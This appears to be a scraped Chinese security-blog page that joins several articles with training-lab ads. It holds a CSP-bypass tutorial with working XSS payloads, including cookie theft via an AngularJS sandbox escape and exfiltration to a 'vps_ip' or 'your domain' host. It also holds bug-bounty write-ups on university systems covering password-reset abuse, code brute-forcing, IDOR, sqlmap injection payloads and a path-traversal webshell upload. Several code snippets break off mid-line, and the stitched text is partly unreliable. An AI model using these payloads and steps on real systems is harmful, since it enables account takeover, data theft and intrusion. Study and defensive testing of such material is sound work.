<meta http-equiv="Set-Cookie" Content="cookievalue=xxx;expires=Wednesday,21-Oct-98 16:14:21 GMT; path=/">
meta这一被很多人忽略的标签,其实可以做到的东西也不少,后面有机会会进一步分析
iframe绕过
iframe 元素会创建包含另外一个文档的内联框架(即行内框架),我们可以通过设置这个来做到一个跨域访问,这其中就有安全问题了,但是今天要用到的并不是这些
在CSP中,通过配置sandbox和child-src可以设置iframe的有效地址,它限制适iframe的行为,包括阻止弹出窗口,防止插件和脚本的执行,而且可以执行一个同源策略。
同源 这才是主角,当一个同源站点存在两个页面,我们称它们为A页面和B页面,假如A页面有CSP保护,而B页面没有,我们就可以直接在B页面新建iframe用js操作A页面的DOM,也就是说A页面的CSP防护完全失效
demo&exp
<!-- A页面 --> <meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'"> <h1 id="flag">flag{0xffff}</h1> <!-- B页面 --> <!-- 下面模拟XSS --> <body> <script> var iframe = document.createElement('iframe'); iframe.src="http://127.0.0.1/a.php"; document.body.appendChild(iframe)
setTimeout是为了等待iframe加载完成
你以为就这样就完了?那你果然和我一样天真了
在找CSP绕过相关资料时,还发现了个好玩的东西(https://www.jianshu.com/p/f1de775bc43e)
在Chrome下,iframe标签支持csp属性,这有时候可以用来绕过一些防御,例如"http://xxx"页面有个js库会过滤XSS向量,我们就可以使用csp属性来禁掉这个js库。
<iframe csp="script-src 'unsafe-inline'" src="http://xxx"></iframe>
一个同源站点存在两个页面,其中一个有CSP保护,一个没有且存在xss漏洞
我们要的数据在存在CSP保护的页面中
CDN绕过
一般来说,前端要用到许多的前端框架和库,而部分企业为了效率或者其他原因,会选择使用其他CDN上的js框架,当这些CDN上存在一些低版本的框架时,就可能存在绕过CSP的风险
这里借Orange大神绕过hackmd CSP的文章(https://paper.seebug.org/855/)来分析一波
demo
先来看hackmd的CSP策略
content-security-policy: script-src 'self' vimeo.com https://gist.github.com www.slideshare.net https://query.yahooapis.com 'unsafe-eval' https://cdnjs.cloudflare.com https://cdn.mathjax.org https://www.google.com https://apis.google.com https://docs.google.com https://www.dropbox.com https://*.disq
看到了unsafe-eval这个关键字,可以想到Breaking XSS mitigations via Script Gadgets手法,但我们继续往下看就会发现,其实没这么复杂,因为该CSP政策还允许了https://cdnjs.cloudflare.com/这个js hosting服务,这个提供了很多第三方的函数库以供引入,这样我们就可以直接借助AngularJS 函数库以及Client-Side Template Injection里面成熟的沙盒逃逸技术绕过
再因为原本WAF对注释的完全可信,可以构造出<!-- foo="bar--><script>alert(1)</script>>" -->这一payload,用-->来闭合前面的注释,来让后面内容完全可控
两者结合,得出最终payload
exp
<!-- foo="--> <script src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.min.js> </script> <div ng-app> {{constructor.constructor('alert(document.cookie)')()}} </div> //sssss" -->
详细内容看Orange师傅的文章
如果用了Jquery-mobile库,且CSP中包含"script-src 'unsafe-eval'"或者"script-src 'strict-dynamic'",可以用此exp
<div data-role=popup id='<script>alert(1)</script>'></div>
还比如RCTF2018题目出现的AMP库,下面的标签可以获取名字为FLAG的cookie
<amp-pixel src="http://your domain/?cid=CLIENT_ID(FLAG)"></amp-pixel>
总而言之,这一绕过方法主要可以套用网上相应的payload格式来绕过CSP,在https://www.blackhat.com/docs/us-17/thursday/us-17-Lekies-Dont-Trust-The-DOM-Bypassing-XSS-Mitigations-Via-Script-Gadgets.pdf中总结了可以被用来CDN绕过的一些JS库,可以用作参考
CDN服务商存在低版本的js库
该CDN服务商在CSP白名单中
站点可控静态资源绕过
给一个绕过codimd的(实例)https://github.com/k1tten/writeups/blob/master/bugbounty_writeup/HackMD_XSS_&_Bypass_CSP.md
案例中codimd的CSP中使用了http://www.google-analytics.com 而http://www.google.analytics.com中提供了自定义javascript的功能(google会封装自定义的js,所以还需要unsafe-eval),于是可以绕过CSP
demo
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'unsafe-eval' https://www.google-analytics.com"> <script src="https://www.google-analytics.com/gtm/js?id=GTM-PJF5W64"></script>
exp
同理,在其他站点提供了可控静态资源的功能时,且CSP中允许了此站点,就可以用该方式绕过
存在可控静态资源
站点在CSP允许名单中
不完整script标签绕过
我们先来了解一个小知识(敲黑板):当浏览器碰到一个左尖括号时,会变成标签开始状态,然后会一直持续到碰到右尖括号为止,在其中的数据都会被当成标签名或者属性
好,我们开搞
demo1
<?php header("X-XSS-Protection:0");?> <meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'nonce-xxxxx'"> <?php echo $_GET['xss']?> <script nonce='xxxxx'> //do some thing </script>
exp
当我们输入http://127.0.0.1/2.php?xss=<script src=data:text/plain,alert(1),我们可以发现<script就会被变成一个属性,值为空,之后的nonce='xxxxx'
会被当成我们输入的script标签中的一个属性,成功绕过script-src
demo2
但是在chrome中,虽然第二个<script 被当成了属性名,但依旧会干扰chrome对标签的解析,造成错误,使我们的exp无法成功执行 https://xzfile.aliyuncs.com/media/upload/picture/20190511094533-772405ea-738e-1.png
exp
这里可以用到标签的一个技巧,当一个标签存在两个同名属性时,第二个属性的属性名及其属性值都会被浏览器忽略
<!-- 3.php --> <h1 a="123" b="456" a="789" a="abc">123</h1>
https://xzfile.aliyuncs.com/media/upload/picture/20190511094533-772ac830-738e-1.png于是我们可以输入 http://127.0.0.1/2.php?xss=123<script src="data:text/plain,alert(1)" a=123 a= 先新建一个a属性,然后再新建第二个a属性,这样我们就将第二个<script赋给了第二个a属性,浏览器在解析的时候直接忽略了第二个属性及其后面的值,这样exp就能成功在chrome浏览器上执行 https://xzfile.aliyuncs.com/media/
可控点在合法script标签上方,且其中没有其他标签
XSS页面的CSP script-src只采用了nonce方式
不完整的资源标签获取资源
demo
<meta http-equiv="Content-Security-Policy" content="default-src 'self';script-src 'self'; img-src *;"> <?php echo $_GET['xss']?> <h1>flag{0xffff}</h1> <h2 id="id">3</h2>
这里可以注意到img用了*,有些网站会用很多外链图片,所以这个情况并不少见,虽然我们可以新建任意标签,但是由于CSP我们的JS并不能执行(没有unsafe-inline),于是我们可以用不完整的<img标签来将数据带出
exp
http://127.0.0.1/csp.php?xss=<img src="//vps_ip?a=
此时由于我们传入的src的引号没有闭合,html解析器会一直寻找第二个引号,而直到”id“前的引号出现之前,所有内容都会被当作src的值发送到我们的vps上
需要注意的是,chrome下这个exp并不会成功,因为chrome不允许发出的url中含有回车或<
可以加载外域资源 (img-src: *)
需要获取页面某处的信息
302(重定向)绕过
很多时候一个网站都会带有一个302跳转功能的页面,用它来导向到本站的资源或者是外部的链接 我们首先看一下w3c文档里关于重定向的说明https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects
很明显的,如果我们的script-src设置为某个目录,通过这个目录下的302跳转,是可以绕过csp读取到另一个目录下的脚本的。
接下来就来模拟分析一波
demo
<!-- csp.php --> <?php header("Content-Security-Policy: default-src 'self';script-src http://127.0.0.1/a/"); ?> <html> <head> </head> <body> csp header test </body> </html> <!-- redirect.php --> <?php header("Location: " . $_GET[url]); ?> <!-- test.php --> <!DOCTYPE html> <html> <head> <title>1</tit
csp限制了/a/目录,而我们的目标脚本在/b/目录下则如果这时候请求redirect页面去访问/b/下的脚本是可以通过csp的检查的
exp
http://127.0.0.1/a/redirect.php?url=/b/test.php
但这是有一个很严格的条件的,加载的资源所在的域必须和自身处于同域下(example.com),也就是不可能通过302跳转去加载一个其他域下的脚本的,比如通过a.com的302跳转去加载b.com下的脚本是不可以
但!又来个但是了,在实际环境中,比如某个站调用某个cdn,或者类似于script-src example.com/scripts/ google.com/recaptcha/,google.com/script/*下有个evil.js,然后刚好站内有个重定向,漏洞条件就已经成立了。
在script-src允许的域下,需要存在一个重定向的页面,这种页面大多存在于登陆,退出登录
在script-src允许的域下,存在某个任意文件的上传点(任意目录)
有特别的方式可以跨域发送请求,或者有站内域可以接受请求
如果看完这一篇还不过瘾的话可以去实验室做实验继续学习哦。
与证书大学站的相爱相杀
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
0x01:前言
记一次关于edusrc中证书大学的小程序挖掘过程。
在各路大师傅惨无人道的证书站挖掘,像是我这只小菜鸡在web方面很难再摸到漏洞,内网也莫得账号,无奈只能转战小程序。
0x02:准备
夜神模拟器 6.6.1.1 Andorid5版本
Burpsuite 证书
Node+npm环境
0x03:实战
先确定一个证书站的目标,从小程序名称下的归属可以知道此小程序确实属于目标资产,同时在交互包中也可以发现是对其子域进行交互。
先是对其进行一波排查,发现有功能点展示但需要进行登录。爆破一波并没有发现存在弱口令用户,更换方式。
尝试对 小程序 进行反编译 (在对wxapkg文件进行获取的时候,可以先删除其目录下的所有小程序包,然后再去访问想要测试的小程序,会生成两个数据包都要拿出来),例如下图_2100734759_11.wxapkg是需要进行编译的包
#node ../wxappUnpacker-master/wuWxapkg.js _459201295_105.wxapkg //开始编译
编译成功会获得一些源码,可以尝试找账号密码,且还可以对其进行一系列行为溯源
在翻js的时候,翻到一个js文件,打开发现是一个修改密码的行为
发现有个不想是路径的地址,同时还指明URL,猜测可能是某个接口,尝试利用其的POST方式对其进行发包探测,后来发现不管怎么样都是返回 {success:200}
正当一筹莫展的时候,把js往下滑动,看到了用户信息加载的字样,应该也是基于接口访问获取个人信息
拼接访问:http://xxxx.edu.cn/xxxx/user/admin 好家伙,来开发抽华子
可以发现password的值为undefined,起先我弱智的用空密码登录admin账号,发现密码错误,又带入undefined这个字符串进行登录。。。
重新屡一下思路,照理来讲应该password字段应该是有密码的。回顾操作有没有可能是我上一步的POST数据的那个功能点是修改密码,毕竟我没传任何数据。
对上个接口进行POST传参fuzz,fuzz完好几个字典发现都是没有成功修改密码。
后来想起来wxml像是一个前端页面,正好有个mpassworx.wxml,看看里面的传参值是什么,newp为新密码,confirmp是确认新密码。再对其接口进行构造修改密码
传参值为md5加密之后的数据(为什么知道是md5呢,因为在个人信息返回的那个点,我对其进行了工号和学号的fuzz,发现其中用户密码都是经过md5加密的)
发现从原来undefined,变成了我传入的md5值,成功修改密码
利用修改之后的账号密码,成功登陆系统
同时可以对会议室实验室啥的进行管理,开个门,关个门,开个空调,开个电风扇等等
0x04 实战案例二:
南神永远滴神!!!
依旧还是一个证书站的小程序
先用自己的手机号注册一个账号,Tips:当用自己手机注册一个手机号的时候先会获得一个验证码可以用来注册,同时当准备利用忘记密码功能点来获取密码的时候,验证码不会再发送,后来发现注册获得的验证码可以被多次使用,也不会过期
生成0001 - 9999的字典轻而易举的爆破出来
如何获得管理员的手机号捏~,先利用自建注册的账号,进系统内对各个功能点进行探测,发现有个数据包中带有userID值,尝试越权
发现当访问其他userID时会提示登录超时,看到有个token验证,尝试删除再访问其他userID。发现当userID的值存在时会回显数据,没有则会返回空。
对userID直接fuzz遍历获得linkMobile,就是其手机号。
成功获取一些管理员用户手机,直接在忘记密码处4位纯数字爆破修改密码。
0x05:后言
涉及漏洞均已提交edusrc。
网络如山勤思为径,信息似海安全作舟。
多一分网络防护技能,多一份信息安全保障。
你想在靶场学习CTF技术吗?
记一次相对完整的渗透测试
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
教育src 700rank了想着继续冲一波分,早日上核心,于是就有了下面这一次渗透测试的过程了。
开局一个登陆框,且存在密码找回功能。
归属为某教育局
开启burp 抓取登陆包,发现用户密码并未加密 ,尝试爆破admin账户密码 跑了一下发现报如下错误,看来爆破这条路走不通了。
于是fofq查询了一下ip,无旁站。继续肝下一个功能点,密码找回
密码找回处
可以看出这里肯定是会存在数据交互的,于是加个单引号测试一下sql,返回500
两个单引号,返回正常,可以断定这里是肯定存在sql注入了,抓取包丢进sqlmap中跑一下。
得出如下payload
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* ((custom) POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: login_name=admin' AND 5698=5698 AND 'yKnB'='yKnB
Vector: AND [INFERENCE]
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: login_name=admin' AND (SELECT 3409 FROM (SELECT(SLEEP(5)))iWYb) AND 'ZAHe'='ZAHe
Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
报错与延时注入,对于接下来的渗透意义不大,继续fuzz,尝试按照正常逻辑找回密码。
抓取返回包可以很明显的看到其中存在success参数其值为false,我们将其改为true,
页面显示如下,flag参数不为空,这是玩ctf呢,再次重放找回密码请求。
发现,flag的值应该是在这设定哦,but并不知晓flag的值,无从下手手
行吧转换思路,既然admin账户没有设置手机号,那我去跑一下账户,总有设置手机的账户,flag出现了,现在目前不知道有何作用。转手测试有手机号的账户。
随意输入验证码,点击下一步,大概是明白了,这个flag就相当于身份id。
我们继续抓取返回包,改success 参数为true,成功到达重置密码界面
设置了一下新密码,之后使用burp抓包,发现存在两个参数flag 与pwd flag参数之前在跑用户名的时候我们就已经获取到了,所以这里我单独拉出来,复制之前的flag。
Send,返回结果为true表示成功更改
成功登陆
既然成功登陆之后,就开始找上传点了
Java站那就是jsp与jspx了,经过一番fuzz找到一处相册管理
先上传了一张图片,获取到了上传路径。
接着在构造jsp小马尝试上传,目标存在waf jsp无法上传,我是一点都不意外啊。
看了看poc中可疑的参数点,这不就是我们需要的文件路径,以及文件名吗,我们可以尝试在此处更改文件后缀。
证实了猜想。
于是继续构造poc,成功上传,拼接之前得到的url,尝试访问
发现直接打印了,看来是不解析。
可以很明显的看到这里是目录结构,所以尝试删除部分目录,重新上传
例如
发现成功跳过目录
继续访问发现还是直接打印了,不慢慢fuzz跳目录了,我直接跳到他根目录下面。
分析一下、这是最开始上传到的目录并不解析,我们可以看到其中有四层目录
删除其中如下两层目录后,还剩下
这两层目录所以用 ../../来跳过这两层目录。
结合之前的路径,拼接访问。
未授权,点到为止,打包提交
带带我代码审计可好,好哥哥们。
本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015060916565800001 (本实验以PHP和mysql为环境,简单展示了SQL的发生原理和利用过程,通过显错注入和盲注的对比,更直观展现注入的不同利用方法。)
这个技术你学会了吗?加入网安实验室,1300+网安技能任你学!
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

